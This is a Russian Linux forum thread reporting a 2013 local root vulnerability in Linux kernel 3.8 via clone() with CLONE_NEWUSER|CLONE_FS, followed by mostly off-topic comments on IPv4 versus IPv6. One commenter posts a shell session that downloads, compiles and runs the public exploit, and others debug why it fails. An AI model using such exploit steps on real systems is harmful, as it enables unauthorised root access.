LINUX.ORG.RU

Обнаружена очередная local root уязвимость в ядре Linux 3.8

 , ,


0

2

В рассылке OSS-security появился тривиальный эксплоит для ядра 3.8, который посредством использования вызова clone() с параметрами CLONE_NEWUSER|CLONE_FS позволяет непривилегированному пользователю получить права суперпользователя.

Эксплоит работает только в том случае, если в ядре встроена поддержка namespaces, а также у пользователя есть права на запись в корневую файловую систему (в большом количестве систем корень и домашний раздел находятся на одном и том же разделе).

Для запуска эксплоита в 32-битном окружении, поменяйте все вхождения lib64 на lib, а ld-linux-x86-64.so.2 на ld-linux.so.2.

>>> Подробности

★★★★★

Проверено: Shaman007 ()
Последнее исправление: Klymedy (всего исправлений: 3)
Ответ на: комментарий от true_admin

Ну так и не при. Дыр в реализации ipv4 тоже немало. Они в любом коде есть.

Вот тебе список rfc: http://www.ipv6now.com.au/RFC.php

И сколько из них ты осилил?
Заодно составь аналогичный список по ipv4. Сравни. ;)

Кстати, в чём логика-то с ipv6 упростилось?

Начни изучать вопрос сложности ipv6 с фрагментации пакетов. В ipv4 фрагментация была ночным кошмаром реализаторов. ;)

То, что кому-то ipv6 в диковинку, не значит, что он сложнее в реализации.

imul ★★★★★
()
Ответ на: комментарий от drBatty

а как можно на него перейти,если провайдер не имеет ipv6 адресов?у нас если нажать ipv6 интерент будет так тупить что ты повесишься.

erzent ☆☆
()
Ответ на: комментарий от true_admin

В третьих, почему бы каждую папку не вынести на отдельный раздел?

потому-что у меня фалы по назначению использованны и по нему же рассортированы по разделам. см. man hier

drBatty ★★
()
Ответ на: комментарий от shell-script

почму провайдеры используют ipv4?вот у меня если запретить ipv6 то скорость и пинг нормальный а если разрешить пинг сразу до 140,провайдер сказал откровенно,мы ipv6 не используем. Так почему провайдеры не используют ipv6 если он такой хороший?

erzent ☆☆
()
Ответ на: комментарий от true_admin

почему бы каждую папку не вынести на отдельный раздел?

Мамка будет скучать без папки.

tailgunner ★★★★★
()
Ответ на: комментарий от tailgunner

Нет, у меня оснований так думать нет.
Получается для sctp ~11 строк на ветвление, ipv6 ~7 строк. Ты меня убедил. :) Для ipv4 71363/8535 получается 8. ipv6 самая ветвящаяся реализация. Ошибок должно быть больше.

imul ★★★★★
()

В этом вашем линуксе даже уязвимостей нормальных нету, для каждого нового эксплоита нужно прострелить себе ногу как минимум 2 раза.

ThinkPad-X230

i_gnatenko_brain
Смотрю я на этот синкпад и аж слюни текут. Все завелось? Под каким дистрибутивом, ядром? Как насчет сканера отпечатка пальца? Дисплей не слишком маленький (если программируешь)? Напиши отзыв, пожалуйста. ☺

f1xmAn ★★★★★
()
Ответ на: комментарий от erzent

Откуда ж вы такие только берётесь? :)

Ты знаешь, что означает ipv4 и ipv6?

Internet Protocol Version 4 и Version 6, соответственно. Сперва написали четвёртый. Им все пользовались, всех всё устраивало, но со временем выяснилось, что у него есть неустранимые проблемы, и начали писать шестой. Сейчас шестой уже готов, но не все провайдеры могут на него перейти. Это надо обновить весь софт, обновить всё оборудование, перенастроить сервисы и т.д. и т.п. Если с софтом всё относительно просто (очень относительно, потому что многие вещи переписать надо чуть менее, чем полностью), то с оборудованием намного сложнее, потому как многие железки уже физически не смогут никогда ipv6, т.е. нужна кардинальная замена. Это много денег и много времени.

Почему у тебя падает скорость при включённом ipv6, думаю, можно выяснить, измерив кривизну рук.

Ты бы хоть википедию почитал перед тем, как начинать холиварить, не говоря уж про специализированную литературу.

shell-script ★★★★★
()
Ответ на: комментарий от true_admin

А чем ipv6 проще? Кроме отсутсвия фрагментации которую и так везде отключают?

Видимо, тем, что именно в обработке фрагментов в IPv6 и было найдено больше всего багов.

anonymous
()
Ответ на: комментарий от erzent

Так почему провайдеры не используют ipv6 если он такой хороший?

А некоторые строят датацентры в африке, потому что там ещё ipv4 адресов осталось, хоть камазами вози.
Знаешь насколько затратно переделать всё на ipv6?

imul ★★★★★
()
Ответ на: комментарий от anonymous

Видимо, тем, что именно в обработке фрагментов в IPv6 и было найдено больше всего багов.

Про какие баги речь?

imul ★★★★★
()
Ответ на: комментарий от flowers4ever

Что за аватар? Сам рисовал? Он, судя по блеску глаз, символизирует упоротость.

Нагуглил, с трудом правда. Этого парня ставят в комикс, когда хотят изобразить эйфорию от чего-то, что очень хочется.

IPR ★★★★★
()
Ответ на: комментарий от Harald

В ЮАР уже есть. Ещё строятся в Кении где-то, гуглить надо. У гугла и микрософта есть.

imul ★★★★★
()
Ответ на: комментарий от imul

Так уж прямо везде отключают?

Да, она требует слишком много ресурсов. То что это не нужно подтверждается тем что из ipv6 её вообще выкинули. Это слова дяди из циско который нам читал курс по networking.

А чем ipv6 сложнее?

Я же писал. Например, часть функционала dhcp перешло в ядро. Моя логика такая - оно умеет всё что умел ipv4 + новые фишки.

Впрочем, по объёму кода оно в ядре оно (пока?) меньше. По крайней мере если взять и тупо посмотреть объём папок net/{ipv4,ipv6}.

true_admin ★★★★★
()

Обнаруженая очередная local root уязвимость в ядре Linux 3.8.2 не работает как исправить?

$ uname -a
Linux nemesis 3.8.2-geek #3 SMP Thu Mar 14 15:08:00 EET 2013 x86_64 Intel(R) Pentium(R) Dual CPU T3200 @ 2.00GHz GenuineIntel GNU/Linux
$ cd /tmp/
$ wget http://stealth.openwall.net/xSports/clown-newuser.c
(cut)
2013-03-14 15:52:14 (13,1 KB/s) - «clown-newuser.c» сохранён [3532/3532]
$ cc -Wall clown-newuser.c -static
$ ./a.out 
[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer

[+] Found myself: '/tmp/a.out'
[*] Parent waiting for boomsh to appear ...
[*] Setting up chroot ...
[-] link: Invalid cross-device link

И на этом висит ._. Как исправить?

init_6 ★★★★★
()

Походу у тебя /tmp - отдельный раздел. Но, похоже, для работы эксплойта нужно специальным образом сконфигурированное ядро: Обнаружена очередная local root уязвимость в ядре Linux 3.8 (комментарий)

tailgunner ★★★★★
()
Ответ на: комментарий от ivanlex

Мои важные сервера «мордой» наружу не торчат.

сдается мне, они не торчат потому что их не существует

И да — Debian, кажется на нем этот эксплоит не работает.

нет гарантии, что другой не сработает

xtraeft ★★☆☆
()
Ответ на: комментарий от tailgunner

Походу у тебя /tmp - отдельный раздел.

$ egrep "root|usr|var|tmp" /etc/fstab 
# The root filesystem should have a pass number of either 0 or 1.
/dev/mapper/vg-root	/			ext4	noatime,nodiratime,defaults	0 1
/dev/mapper/vg-usr	/usr			ext4	noatime,nodiratime,defaults	0 0
/dev/mapper/vg-var	/var			ext4	noatime,nodiratime,defaults	0 0
none			/dev/shm		tmpfs	nosuid,nodev,noexec		0 0
tmpfs			/var/tmp/portage	tmpfs	size=2G,nr_inodes=1M		0 0

Но, похоже, для работы эксплойта нужно специальным образом сконфигурированное ядро: Обнаружена очередная local root уязвимость в ядре Linux 3.8 (комментарий)

CONFIG_USER_NS ?

Которое еще включать и искать вот там:

Symbol: USER_NS [=n]                                                                                                  │  
  │ Type  : boolean                                                                                                       │  
  │ Prompt: User namespace (EXPERIMENTAL)                                                                                 │  
  │   Defined at init/Kconfig:1044                                                                                        │  
  │   Depends on: NAMESPACES [=y] && EXPERIMENTAL [=y] && UIDGID_CONVERTED [=n]                                           │  
  │   Location:                                                                                                           │  
  │     -> General setup                                                                                                  │  
  │ (1)   -> Namespaces support (NAMESPACES [=y])                                                                         │  
  │   Selects: UIDGID_STRICT_TYPE_CHECKS [=n]               

Да похоже ядро надо пересобирать

$ zgrep CONFIG_USER_NS /proc/config.gz 
$ grep CONFIG_USER_NS /usr/src/linux/.config

печаль-тоска!

init_6 ★★★★★
()
Ответ на: комментарий от init_6

egrep «root|usr|var|tmp» /etc/fstab

Не убеждает. Если /tmp - это симлинк на /var/tmp, будет как раз то, что ты видишь.

печаль-тоска!

Это Линукс.

tailgunner ★★★★★
()
Ответ на: комментарий от tailgunner

Не убеждает. Если /tmp - это симлинк на /var/tmp, будет как раз то, что ты видишь.

$ mount | grep /tmp
tmpfs on /tmp type tmpfs (rw)
tmpfs on /var/tmp/portage type tmpfs (rw,relatime,size=2097152k,nr_inodes=1048576)

Это Линукс.

В общем ждем патчей на эксплойт!

init_6 ★★★★★
()
Ответ на: комментарий от true_admin

Например, часть функционала dhcp перешло в ядро.

Всего один if в коде. Либо генерим адрес сами, либо ищем сервер. Как-то слабовато для головоломных наворотов.

Моя логика такая - оно умеет всё что умел ipv4 + новые фишки.

Кривая логика. Потому что приплетено за каким-то боком ipv4. Если бы ipv6 был надстройкой над, такая логика была бы правильна. А так это иной протокол.

Впрочем, по объёму кода оно в ядре оно (пока?) меньше.

Объём кода вообще не показатель алгоритмической сложности.

Это слова дяди из циско который нам читал курс по networking.

Дядю не Денисом случайно звали? А то у меня после цисковских курсов впечатление полностью противоположное твоему.

Да, она требует слишком много ресурсов. То что это не нужно подтверждается тем что из ipv6 её вообще выкинули.

Я говорил не о рессурсах маршрутизатора, а о сложности реализации правильной обработки фрагментированных пакетов алгоритмически. В ipv4 было много нюансов. Из ipv6 выкинули и правильно сделали. Зато реализовали простейший механизм автосогласования размера пакета на всём треке. Механизм с простейшей логикой, в которой ошибиться маловероятно. И так произошло практически по всем пунктам в сравнении ipv4 и ipv6.

imul ★★★★★
()
Последнее исправление: imul (всего исправлений: 1)
Ответ на: комментарий от erzent

а как можно на него перейти,если провайдер не имеет ipv6 адресов?

http://version6.ru/

у нас если нажать ipv6 интерент будет так тупить что ты повесишься.

значит «у вас» не готовы.

drBatty ★★
()
Ответ на: комментарий от erzent

почму провайдеры используют ipv4?

а почему все используют маздай? Потому-что ничего другого не знают, не умеют, и не хотят.

drBatty ★★
()
Ответ на: комментарий от true_admin

И? Я там не вижу про то как это должно быть смонтировано.

в армии тоже нигде не написано, что круглое надо таскать, а квадратное - катать ☺

drBatty ★★
()
Ответ на: комментарий от tailgunner

Дык в следующей версии и ядро патчить придется - дырку-то залатали.

Ага вот он опенсорц! Дырку и ту нормально сделать и поддерживать не могут!!!

init_6 ★★★★★
()
Ответ на: комментарий от init_6

А нафиг тогда вот этот весь вброс? если…

где ты увидел вброс? появилась уязвимость, которая может повысить привилегии в некоторых специфичных случаях.
а местные аналитики по безопасности опять начали кричать «этот вирус для линукса опять не работает».

xtraeft ★★☆☆
()
Ответ на: комментарий от tailgunner

Надо взять у него несколько уроков.

imul ★★★★★
()
Ответ на: комментарий от IPR

Номерами версий же и прибавкой к чсв. Да, драйвера тоже не бэкпортируются, как правило.

anonymous
()
Ответ на: комментарий от ymn

что-то часто находить уязвимости стали. работа кипит

И это хорошо! Важно не количество уязвимостей, а своевременность их обнаружения.

UNiTE ★★★★★
()
Ответ на: комментарий от imul

А так это иной протокол.

На уровне протокола оно особых изменений не претерпело, кмк.

Всего один if в коде. Либо генерим адрес сами, либо ищем сервер.

Может это и один if, но уж точно не пара строк: net/ipv6/addrconf.c

Дядю не Денисом случайно звали? А то у меня после цисковских курсов впечатление полностью противоположное твоему.

Нет, тот дядя сёрьёзный инженер циско который был одним из разработчиков IS-IS, дело вообще не в России было. А что, есть сомнения по поводу того отключать или нет фрагментацию на роутерах?

Зато реализовали простейший механизм автосогласования размера пакета на всём треке.

Path mtu discovery? Я не застал времена когда этого не было в ipv4. Но я согласен, из ipv6 дробление пакетов выкинули, а значит в этом месте оно стало проще.

И так произошло практически по всем пунктам в сравнении ipv4 и ipv6.

можно ещё пару пунктов?

true_admin ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.